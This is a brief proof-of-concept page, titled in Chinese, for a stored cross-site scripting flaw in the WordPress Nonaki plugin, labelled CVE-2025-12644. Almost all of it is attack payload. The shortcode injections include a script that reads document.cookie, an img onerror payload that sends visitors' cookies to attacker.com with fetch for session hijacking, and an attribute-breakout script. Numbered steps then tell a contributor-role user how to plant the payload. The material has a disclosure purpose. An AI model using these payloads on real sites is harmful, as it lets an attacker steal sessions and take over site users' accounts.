CVE-2025-12644 WordPress Nonaki插件存储型XSS漏洞

<!-- WordPress Nonaki Plugin Stored XSS PoC --> <!-- Attacker with contributor role can inject malicious script via shortcode --> <!-- Basic XSS injection through nonaki shortcode --> [nonaki id="1" custom_field="<script>alert(document.cookie)</script>"] <!-- More sophisticated payload for session hijacking --> [nonaki id="1" field_name="<img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)'>'] <!-- PoC to demonstrate the vulnerability --> <!-- Steps: --> <!-- 1. Login as contributor user --> <!-- 2. Create/edit a post or page --> <!-- 3. Insert the malicious shortcode --> <!-- 4. Publish the content --> <!-- 5. When any user visits the page, the XSS will execute --> <!-- Example WordPress shortcode that triggers the vulnerability --> [nonaki id="123" title="Test" custom_data='"><script>console.log("XSS Triggered")</script><!']